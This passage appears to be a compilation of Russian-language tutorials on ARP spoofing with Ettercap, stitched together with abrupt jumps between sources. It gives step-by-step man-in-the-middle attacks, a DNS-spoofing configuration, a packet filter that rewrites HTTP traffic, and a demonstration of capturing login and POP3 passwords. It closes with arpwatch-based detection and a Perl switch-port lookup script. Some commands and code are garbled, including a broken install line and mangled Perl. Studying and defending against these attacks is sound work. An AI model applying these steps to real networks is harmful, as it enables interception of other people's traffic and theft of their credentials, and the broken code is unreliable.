    Чтобы начать атаку нам нужно указать цель 1 и цель 2. В качестве первой цели нужно указать ip машины, которую мы собрались атаковать, а в качестве цели 2 - ip маршрутизатора. Для добавления целей используйте кнопки Add Target 1 и Add Traget 2 :

    В открывшемся окне отметьте пункт Sniff remote connections , чтобы перехватывать все удаленные соединения от этого компьютера:

    Теперь, для запуска процесса подмены в меню Start выберите Start Sniffing.

    После этого программа начнет отправлять в сеть пакеты, с запросом для 192.168.1.3 на обновление кэша ARP и замены MAC адреса маршрутизатора на ваш. Атака запущена и успешно выполняется. Вы можете открыть меню View -> Connections и посмотреть активные соединения для целевого устройства:

    Если пакет не был зашифрован, то мы можем посмотреть передаваемую информацию клинув по соединению мышью. Слева отображается отправленная информация, а справа - полученная:

    Атака DNS-spoofing с помощью Ettercap

    Для преобразования имен сайтов в IP адреса сети используется специальная служба - DNS. Когда компьютеру нужен ip сайта он спрашивает его у DNS сервера. Но если вы уже выполняем MITM атаку, то можем подменить ответ сервера таким образом, чтобы вместо IP сервера сайта возвращался наш IP. Сначала нам нужно отредактировать файл /etc/ettercap/etter.dns:

    sudo vi /etc/ettercap/etter.dns

    google.com.ua A 127.0.0.1

    Эта запись означает, что мы подменим основной IP google.com.ua на 127.0.0.1. Обратите внимание, что эта атака не выполняется без предыдущей. Дальше откройте меню Plugins -> Manage Plugins :

    Затем два раза кликните по плагину dns_spoof :

    Плагин будет активирован и вы можете проверять ip на устройстве. DNS действительно подменяется. Например, вы можете выполнить на целевой машине:

    ping google.com.ua

    ping www.ettercap.org

    Кроме этих плагинов, существуют и другие, с помощью которых вы можете выполнять нужные действия.

    Фильтры Ettercap

    Фильтры позволяют модифицировать пропускаемые через программу пакеты прямо на лету. Вы можете отбрасывать пакеты, либо вносить в них необходимые изменения с помощью функции replace. Фильтры тоже работают только пока запущена MITM атака. Синтаксис условий, по которым мы будем фильтровать пакеты очень похож на wireshark. Давайте рассмотрим простенький фильтр, который будет заменять все картинки на нашу:

    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbish!");
    # note: replacement string is same length as original string
    msg("zapped Accept-Encoding!\n");
    }
    }
    if (ip.proto == TCP && tcp.src == 80) {
    replace("img src=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
    replace("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
    msg("Filter Ran.\n");
    }

    Для тех, кто имел опыт работы с языками программирования здесь должно быть все понятно. Если протокол TCP и порт назначения 80, мы продолжаем поиск и ищем Accept-Encoding. Затем заменяем это слово на любое другое, но эквивалентное по длине. Потому что если браузер будет отправлять Accept-Encoding gzip, то данные будут сжаты и мы там ничего не отфильтруем. Дальше уже в ответе сервера, порт источника 80, мы подменяем все изображения на наше. Теперь фильтр нужно скомпилировать:

    etterfilter test.filter -o test.ef

    Осталось загрузить фильтр с помощью меню Filters -> Load Filter :

    Выберите файл фильтра в файловой системе:

    Фильтр будет загружен и вы можете открыть любой сайт, где не используется https чтобы убедиться, что все работает. Чтобы остановить MITM атаку, откройте меню MITM и выберите Stop All Mitm attacks . Наша инструкция Ettercap подходит к концу, но...

    Как защититься?

    Наверное, после прочтения статьи у вас возник резонный вопрос, как же защитить свой компьютер от такого вида атак? Для этого есть несколько инструментов, в том числе для операционной системы Linux:

    • XArp - графическая утилита, которая может обнаруживать попытки подмены MAC адресов по протоколу ARP и противодействовать этому. Может работать в WIndows и в Linux;
    • Snort - достаточно известная система противодействия вторжениям, среди прочего обнаруживает атаки на протокол ARP;
    • ArpON - небольшой сервис, который следит за ARP таблицей и защищает ее от подмены MAC адресов.
    Выводы

    В этой статье мы рассмотрели как пользоваться Ettercap - программой для анализа сетевых пакетов и выполнения атак типа "Человек посередине". Используйте программу только для тестирования безопасности своих сетей или приложений, а также не забывайте что незаконные действия в информационном пространстве тоже наказуемы.

    На завершение видео с демонстрацией работы программы:

    ARP-спуфинг — это атака на сеть Ethernet или WiFi, чтобы попасть между маршрутизатором и целевым пользователем. При спуфинге ARP сообщения, предназначенные для цели, вместо этого отправляются злоумышленнику, что позволяет злоумышленнику шпионить, отказывать в обслуживании или посреднике цели. Одним из наиболее популярных инструментов для выполнения этой атаки является Ettercap, который предустановлен на Kali Linux.

    В обычной сети сообщения маршрутизируются через Ethernet или Wi-Fi, связывая MAC-адрес подключенного устройства с IP-адресом, используемым для его идентификации маршрутизатором. Обычно это происходит посредством сообщения протокола разрешения адресов (ARP), указывающего, какой MAC-адрес устройства соответствует какому IP-адресу. Он позволяет остальной части сети знать, куда отправлять трафик, но его можно легко подделать, чтобы изменить способ маршрутизации трафика.

    Не пропустите: использование Netdiscover & ARP для поиска внутренних IP-адресов и MAC-адресов

    При атаке подмены ARP такая программа, как Ettercap, отправляет поддельные сообщения, пытаясь найти близлежащие устройства, чтобы связать MAC-адрес хакера с IP-адресом цели. В случае успеха они временно сохраняются в настройках конфигурации на других сетевых устройствах. Если остальная часть сети начинает вместо этого отправлять пакеты, предназначенные для цели, злоумышленнику, злоумышленник эффективно контролирует соединение передачи данных цели.

    Типы ARP спуфинг-атак

    После того, как злоумышленник добьется первоначального успеха в отравлении кэша ARP других хостов в сети, может быть три основных результата:

    • Злоумышленник может следить за трафиком. Они могут скрываться в тени, видя все, что целевой пользователь делает в сети. Это довольно очевидно.
    • Атакующий может перехватывать и изменять пакеты в атаке «человек посередине». Они могут перехватывать пароли, введенные на веб-сайте HTTP, просматривать DNS-запросы и разрешать IP-адреса, по которым перемещается цель, чтобы увидеть, какие веб-сайты посещает цель. При атаке «человек посередине» злоумышленник имеет возможность не только увидеть, что происходит в сети, но и манипулировать ею. Например, они могут попытаться снизить уровень шифрования, которое использует соединение, преднамеренно запрашивая небезопасные версии веб-страниц, чтобы упростить задачу злоумышленника по перехвату паролей. Кроме того, хакер может быть просто неприятностью. Например, они могут заменять слова в тексте веб-сайта, переворачивать или заменять изображения или изменять другие типы данных, поступающих к цели и от нее.
    • Злоумышленник может отбросить пакеты, предназначенные для цели, чтобы создать атаку типа «отказ в обслуживании». Это, возможно, самый неприятный для цели. Хотя атака с использованием аутентификации Wi-Fi является гораздо более частой причиной атаки сети Wi-Fi, спуфинг ARP может быть гораздо сложнее выяснить. Если злоумышленник решит не пересылать пакеты, которые теперь отправляются ему, вместо цели, цель никогда не получит их. Сеть Wi-Fi может быть заблокирована изнутри, попасть между целью и маршрутизатором, а затем отбросить пакеты, проходящие между ними.
    Как пользоваться Ettercap

    – для switched LAN. Программа использует ARP poisoning и “man-in-the-middle” нападения, чтобы перехватить подключения между двумя компьютерами. Вы можете перехватить подключения между двумя компьютерами, используя MAC-based sniffing mode. Позволяет перехватывать SSH1, HTTPS и другие защищенные протоколы. Позволяет расшифровывать пароли для следующих протоколов — TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG.

    Ettercap — одна из самых интригующих программ, установленных по умолчанию в Kali Linux. В отличие от многих программ, использующих только командную строку, Ettercap имеет графический интерфейс, который очень удобен для начинающих. Хотя результаты могут иногда отличаться, Ettercap является отличным инструментом для новичков, чтобы освоить сетевые атаки, такие как ARP-спуфинг.

    Ettercap не единственный инструмент для этого и не самый современный. Другие инструменты, такие как Bettercap, утверждают, что делают Ettercap, но более эффективно. Тем не менее, Ettercap оказывается достаточно эффективным для демонстрации. Общий рабочий процесс спуфинговой атаки Ettercap ARP состоит в том, чтобы присоединиться к сети, на которую вы хотите атаковать, найти узлы в сети, назначить цели для файла «целей», а затем выполнить атаку на цели.

    Как только мы сделаем все это, мы сможем образно наблюдать за тем, как целевые объекты просматривают Интернет, и мы можем даже убить соединение с веб-сайтов, с которых мы хотим их отвести. Мы также можем запускать различные полезные нагрузки, например, изолировать хост от остальной части сети, отказывать им в обслуживании, отбрасывая все отправленные им пакеты, или запускать сценарии, чтобы попытаться понизить безопасность соединения.

    Установка Ettercap

    Если у вас его еще нет (например, если вы скачали облегченную версию Kali), вы можете получить его, введя следующее в окне терминала.

    apt install - graphical

    Reading package lists . . . Done

    Building dependency tree

    Reading state information . . . Done

    Graphical is already the newest version (1 : 0.8.2 - 10 + b2 ) .

    Подключение к сети

    Первым шагом подмены ARP является подключение к сети, которую вы хотите атаковать. Если вы атакуете зашифрованную сеть WEP, WPA или WPA2, вам нужно знать пароль. Это потому, что мы атакуем сеть внутренне, поэтому мы должны иметь возможность видеть некоторую информацию о других хостах в сети и передачи данных в нем.

    Вы можете подключиться к сети для подмены ARP двумя способами. Во-первых, это подключение через Eithernet, что очень эффективно, но не всегда практично и почти никогда не бывает тонким. Вместо этого многие люди предпочитают использовать адаптер беспроводной сети и выполнять спуфинг ARP через Wi-Fi.

    Запуск Ettercap

    В Kali нажмите «Приложения», затем «Обнюхивание и подмена», а затем «ettercap-graphicical». В качестве альтернативы, нажмите «Показать приложения» в доке, затем найдите и выберите «Ettercap».

    Как только он запустится, вы должны оказаться на главном экране Ettercap. Вы увидите жуткий логотип Ettercap и несколько выпадающих меню для начала атаки. На следующем шаге мы начнем изучать меню «Sniff».

    На этом этапе убедитесь, что у вас есть активное подключение к сети, прежде чем продолжить.

    Выбор сетевого интерфейса

    Нажмите на пункт меню «Sniff», а затем выберите «Unified сниффинг». Откроется новое окно с просьбой выбрать, какой сетевой интерфейс вы хотите прослушивать. Вы должны выбрать сетевой интерфейс, который в данный момент подключен к сети, которую вы атакуете.

    Теперь вы увидите текст, подтверждающий, что сниффинг начался, и вы сможете получить доступ к более сложным опциям меню, таким как Targets, Hosts, Mitm, Plugins и т. Д. Прежде чем мы начнем использовать любой из них, мы нужно идентифицировать нашу цель в сети.

    Определение хостов сети

    Чтобы найти устройство, которое мы хотим атаковать в сети, Ettercap предлагает несколько хитростей. Сначала мы можем выполнить простое сканирование хостов, нажав «Хосты», затем «Сканировать хосты». Сканирование будет выполнено, и после его завершения вы сможете увидеть результирующие хосты, которые Ettercap определил в сети, нажав «Hosts», затем «Hosts list».

    Теперь мы можем увидеть список целей, которые мы обнаружили в сети. Хотите увидеть, что они делают или сузить цели? Нажмите «Просмотр», затем «Подключения», чтобы начать поиск подключений.

    Находясь в представлении «Подключения», вы можете фильтровать подключения по IP-адресу, типу подключения и по тому, открыто ли соединение, закрыто, активно или уничтожено. Это дает вам много возможностей отслеживания, которые можно увеличить, нажав «Просмотр», затем «Разрешить IP-адреса». Это означает, что Ettercap будет пытаться определить IP-адреса, которые он видит для других устройств в сети, к которым он подключается.

    Если вы хотите идентифицировать цель в сети и знать, что они просматривают, посмотрите через плечо на какой веб-сайт они находятся и сопоставьте веб-сайт с IP-адресом с активным подключением к тому же веб-сайту. В противном случае вы можете узнать по MAC-адресу, как вы можете найти его в Интернете, чтобы увидеть производителя.

    Выберите хоста для таргетинга со спуфингом ARP

    Теперь, когда мы определили IP-адрес нашей цели, пришло время добавить их в список целей. Как только мы сделаем это, мы скажем Ettercap, что мы хотим назначить этот IP-адрес как тот, которым мы хотим притвориться, чтобы мы получали сообщения от маршрутизатора, которые должны были быть отправлены на цель.

    Вернитесь к экрану «Хосты» и выберите IP-адрес цели, на которую вы хотите настроить таргетинг. Щелкните по IP-адресу, чтобы выделить его, затем нажмите «Цели», а затем «Список целей», чтобы увидеть список устройств, на которые был нацелен спуфинг ARP.

    Теперь мы можем перейти в меню «Mitm», чтобы начать нашу атаку на эту цель.

    Начало атаки

    Нажмите на «Mitm» меню и выберите «ARP отравление». Откроется всплывающее окно, и вы выберете «Удаленные соединения Sniff», чтобы начать атаку Sniff.

    Как только эта атака начнется, вы сможете перехватывать учетные данные для входа, если целевой пользователь вводит их на веб-сайт, который не использует HTTPS. Это может быть маршрутизатор или устройство в сети, или даже веб-сайт с низким уровнем безопасности.

    Чтобы попробовать другую атаку, вы можете нажать «Плагины», затем «Загрузить плагины», чтобы открыть меню плагинов. Если вы выберете DOS-атаку, она начнет сбрасывать пакеты, отправленные этой цели, и отключит их доступ в Интернет.

    Перехват пароля

    Теперь давайте попробуем перехватить пароль. Отличным для тестирования веб-сайтом является aavtain.com, который намеренно использует плохую защиту, чтобы вы могли перехватывать учетные данные. На целевом устройстве перейдите на aavtrain.com. Как только он загрузится, вы увидите экран входа в систему, в который вы можете ввести поддельный логин и пароль.

    Введите имя пользователя и пароль, затем нажмите «Отправить». Если Ettercap успешен, вы должны увидеть введенные вами логин и пароль на экране злоумышленника!

    В приведенном выше результате мы видим, что Ettercap успешно ARP отравил цель и перехватил HTTP-запрос на вход в систему, который цель отправляла на небезопасный веб-сайт.

    ARP Poisoning — мощный инструмент с некоторыми ограничениями

    Основным очевидным ограничением спуфинга ARP является то, что он работает, только если вы подключены к сети Wi-Fi. Это означает, что он работает в открытых сетях, но может плохо работать с сетями, которые имеют более сложный мониторинг или межсетевые экраны, которые могут обнаруживать такого рода поведение.

    Защита от атаки ARP Poisoning

    Атаки ARP — еще один пример того, почему так важно выбирать надежные пароли для своих сетей и ограничивать доступ тем, кому вы доверяете. Вы отдаете много доверия, когда даете кому-то свой сетевой пароль или соединение Ethernet, поэтому не забывайте тщательно выбирать свои пароли и с кем вы им делитесь.

    Надеюсь, вам понравилось это руководство по использованию графической версии Ettercap для атак отравления ARP!

    ARP-spoofing (ARP-poisoning) - техника сетевой атаки применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.

    В статье детально описана техника атаки ARP-spoofing , на примере атаки, выполненной с помощью программы ettercap; рассмотрены такие методы обнаружения и предотвращения ARP-атак, как слежение за ARP-активностью с помощью arpwatch, наложение специальных патчей для придания иммунитета системам, использование VLAN и PPPoE. Показано как решать имеющие непосредственное отношение к протоколу ARP задачи: поиск компьютеров по известному MAC-адресу и обнаружение новых компьютеров в сети.

    Протокол ARP и атаки с его использованием

    Что такое и для чего нужен ARP

    Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других.

    Алгоритм работы ARP

    Протокол может использоваться в следующих случаях:

  • Хост A хочет передать IP-пакет узлу B , находящемуся с ним в одной сети;
  • Хост A хочет передать IP-пакет узлу B , находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R .
  • В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B , а во втором - для определения MAC-адреса маршрутизатора R . В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.

    Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)

    Проблемы ARP

    Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).

    Самопроизвольный ARP - такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.

    Самопроизвольный ARP может быть полезен в следующих случаях:

    • Обновление ARP-таблиц, в частности, в кластерных системах;
    • Информирование коммутаторов;
    • Извещение о включении сетевого интерфейса.

    Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.

    ARP-spoofing

    До выполнения ARP-spoofing’а в ARP-таблице узлов A и B существуют записи с IP- и MAC-адресами друг друга. Обмен информацией производится непосредственно между узлами A и B. (зелёная стрелка)

    В ходе выполнения ARP-spoofing’а компьютер C , выполняющий атаку, отправляет ARP-ответы (без получения запросов):

    • узлу A : с IP-адресом узла B и MAC-адресом узла C ;
    • узлу B : с IP-адресом узла A и MAC-адресом узла C .

    В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C . (красные стрелки)

    После того как атака выполнена , когда компьютер A хочет передать пакет компьютеру B , он находит в ARP-таблице запись (она соответствует компьютеру C ) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован - т.е. компьютеру B . (синие стрелки)

    Инструменты для выполнения ARP-spoofing’а

    В настоящее время существует несколько инструментов для выполнения ARP-spoofing’а, работающие как в ОС Linux, так и в ОС Windows.

    Наиболее известные:

    • Ettercap
    • Cain & Abel
    • dsniff
    • arp-sk

    Все названные программы распространяются свободно.

    Выполнение ARP-spoofing’а c помощью ettercap

    [Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.

    • Что происходит на машине A.
    • Что происходит на машине B.
    • Что происходит на машине C.

    Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing’а работают аналогичным образом.

    • Машина A - hostA - 192.168.15.201 - 00:04:75:75:46:B1
    • Машина B - hostB - 192.168.15.254 - 00:0A:01:D4:D1:39
    • Машина C - hostC - 192.168.15.200 - 00:0A:01:D4:D1:E3

    Атаку выполняет hostC против узлов hostA и hostB .

    Установить ettercap принятым в системе способом:
    hostC%# apt-get install ettercap
    Выполнить атаку против узлов hostA и hostB:
    %# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
    Опции означают:

    • -T - использовать текстовый (консольный) интерфейс;
    • -M arp - использовать модуль ARP-spoofing’а для выполнения атаки;
    • -L log - записывать журнал перехвата в файлы с именем log.*;

    В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.

    Пусть, например, в это время узел A обращается к узлу B по протоколу POP3, классическому примеру незащищённого, но очень распространённого протокола - проверяет почту.

    hostA %# nc 192.168.15.254 110
    USER user
    +OK
    PASS password
    +OK
    LIST
    +OK
    .

    Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы. После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую. В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap :

    %# ls log.*
    log.eci
    log.ecp

    Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:

    %# etterlog log.eci
    etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
    Log file version: NG-0.7.3
    Timestamp: Thu Jun 21 12:23:11 2007
    Type: LOG_INFO
    1698 tcp OS fingerprint
    7587 mac vendor fingerprint
    2183 known services

    IP address: 192.168.15.201
    MAC address: 00:04:75:75:46:B1
    ...
    MANUFACTURER: Sohoware
    DISTANCE: 0
    TYPE: LAN host
    FINGERPRINT:
    OPERATING SYSTEM: UNKNOWN
    PORT: TCP 110 | pop-3
    ACCOUNT: user
    / password
    (192.168.15.201)
    ==================================================

    Как видно, пароль был успешно перехвачен. Посмотрим как на узле hostA (атакуемом) меняется ARP-таблица

    До атаки.

    hostA%# arp -an

    Во время атаки.

    hostA%# arp -an
    ? (192.168.15.254) at 00:0A:01:D4:D1:E3 on eth0
    ? (192.168.15.200) at 00:0A:01:D4:D1:E3 on eth0

    После атаки.

    hostA%# arp -an
    ? (192.168.15.254) at 00:0A:01:D4:D1:39 on eth0
    ? (192.168.15.200) at 00:0A:01:D4:D1:E3 on eth0

    Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.

    %# tcpdump -i eth0 arp
    08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
    08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
    08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
    08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
    08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
    08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
    08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)

    Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.

    Методы обнаружения

    arpwatch

    Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.

    Инсталляция и конфигурирование arpwatch

    Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux. Установка arpwatch выполняется традиционным для дистрибутива способом:

    %# apt-get install arpwatch
    0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
    Need to get 124kB of archives.
    After unpacking 389kB of additional disk space will be used.
    Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2
    Fetched 124kB in 0s (177kB/s)
    Selecting previously deselected package arpwatch.
    (Reading database ... 22406 files and directories currently installed.)
    Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ...
    Setting up arpwatch (2.1a13-2) ...
    Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

    После того как демон проинсталлирован, он автоматически заускается. (в других системах его, возможно, нужно будет запускать вручную.)

    %# ps aux | grep arpwatch
    arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
    root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch

    Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD - в файле /etc/rc.conf). При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:

    %# vi /etc/default/arpwatch
    %# cat /etc/default/arpwatch
    # Global options for arpwatch(8).
    # Debian: don"t report bogons, don"t use PROMISC.
    ARGS="-N -p"
    # Debian: run as `arpwatch" user. Empty this to run as root.
    RUNAS="arpwatch"

    Если конфигурация была изменена, демон должен быть перезапущен:

    %# /etc/init.d/arpwatch restart

    Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий - просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog. Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:

    # tail -f /var/log/daemon.log
    Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0
    Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0
    Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0
    Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
    Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
    Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
    Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

    Обратите внимание на строку

    Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

    которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.

    Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.

    Обнаружение узла, выполняющего ARP-spoofing

    Если коммутатор управляемый, можно определить, на каком из его портов работает узел, имеющий определённый MAC-адрес.

    Например, это можно сделать с помощью скрипта mac2port. Скрипт связывается с коммутатором по SNMP и опрашивает его таблицу соответствия MAC-адресов портам. Полученная информация выдаётся в удобном для поиска виде на стандартный поток вывода. Для упрощения использования скрипт выводит MAC-адреса в таком же формате, как это делает arpwatch.

    Условия для использования скрипта:

    • скрипт должен быть размещён в каталоге /usr/local/bin, или другом каталоге указанном в PATH;
    • скрипт должен быть исполняемым (chown +x mac2port) или вызываться с интерпретатором perl;
    • в теле скрипта должен быть указан IP-адрес коммутатора и его SNMP RO community;
    • коммутатор должен поддерживать SNMP версии 2; поддержка должна быть включена (не сложно переписать скрипт на более безопасный протокол SNMPv3, но эта версия работает именно с SNMPv2).

    Пример использования скрипта:
    %# ./mac2port
    0:4:76:a1:ef:bb -> 1
    0:a:1:d4:d1:e3 -> 2
    0:15:60:79:8e:c0 -> 0
    0:4:75:75:46:b1 -> 3
    0:a:1:d4:d1:39 -> 44

    Если ранее с помощью arpwatch была зафиксирована атака:

    %# cat /var/log/daemon.log | grep "changed ethernet address"
    Jun 21 08:37:09 s_all@linux2/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

    можно воспользоваться скриптом, и определить с какого порта коммутатора она производилась (при этом не имеет значения, истинный ли это MAC-адрес сетевой карты атакующего или он был изменён):

    %# mac=$(cat /var/log/daemon.log | grep "changed ethernet address" | awk "{print $10}")
    %# ./mac2port | grep $mac
    0:a:1:d4:d1:e3 -> 2

    Важно чтобы определение выполнялось быстро, пока информация об атакующем ещё хранится в памяти коммутатора.

    Для этого имеет смысл вызывать скрипт поиска автоматически при обнаружении соответствующей записи в системном журнале. Анализ журнала можно выполнять, например, такими средствами как swatch или syslog-ng.

    Например, если используется syslog-ng. можно создать скрипт, выполняющий анализ:
    /usr/local/bin/syslog-ng-arpwatch

    #!/bin/sh
    PATH=$PATH:/usr/local/bin
    while read line
    do
    mac="$(echo $line | grep "changed ethernet address" | awk "{print $10}")"
    [ -z "$mac"] && continue
    (echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac")| logger -t arp-spoofing
    done

    и подключить его к syslog-ng.
    Для этого нужно в конфигурационном файле syslog-ng.conf указать следующие строки:

    destination dp_arpspoofing {
    program("/usr/local/bin/syslog-ng-arpwatch");
    };
    filter f_arpspoofing {
    match ("arpwatch");
    };
    log {
    source(s_all);
    filter (f_arpspoofing);
    destination(dp_arpspoofing);
    };

    Строку
    filter (f_arpspoofing);

    можно и не указывать, но на нагруженных системах, она существенно снижает нагрузку. В этом случае при выполнении arp-spoofing’а происходит следующее:

  • Демон arpwatch кидает информацию в syslog (через стандартный сокет /dev/log или /var/run/log);
  • В том случае, если в качестве syslog-сервера используется Syslog-NG, он обнаруживает сигнатуру сообщения и передаёт обнаруженную строку скрипту syslog-ng-arpwatch ;
  • Скрипт syslog-ng-arpwatch , если видит, что проблема действительная связана с ARP-spoofing’ом, вызывает скрипт поиска порта по MAC-адресу;
  • Скрипт mac2port обращается к коммутатору по SNMP;
  • Коммутатор отвечает - передаёт таблицы содержащую информацию о соответствии MAC-адресов портам вызвавшему его скрипту;
  • Скрипт mac2port возвращает таблицу соответствия MAC-адресов портам коммутатора скрипту syslog-ng-arpwatch ;
  • Скрипт syslog-ng-arpwatch находит интересующий порт и пишет сообщение в syslog;
  • Демон syslog-ng записыват сообщение с информацией о порте коммутатора в файл, а также может передать его по SMS или почте администратору или вызвать внешнюю программу (которая, например, после дополнительных проверок может заблокировать порт коммутатора);
  • Администратор читает об обнаруженной атаке в файле.
  • Вот как это выглядит в файле:
    Jun 21 13:55:23 s_all@linux3 arp-spoofing: POSSIBLY ARP-SPOOFING FROM:
    Jun 21 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 -> 2

    Текст скрипта mac2port

    #!/usr/bin/perl
    our $community = "public";
    our $switch = "192.168.15.100";
    open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
    or die "Can"t run snmpwalk";
    while ()
    {
    chomp;
    [email protected]@@;
    my ($oid, $mac) = split /=\s*/;
    $_=$mac;
    s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@g;
    $mac_table{$_}=$oid;
    }
    close(SNMP);
    open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
    or die "Can"t run snmpwalk";
    while ()
    {
    chomp;
    [email protected]@@;
    my ($oid, $port) = split /=/;
    $ports_table{$oid}=$port;
    }
    close(SNMP);
    for $oid (keys %mac_table) {
    print "$oid -> ".$ports_table{$mac_table{$oid}}."\n";
    }

    Методы предотвращения

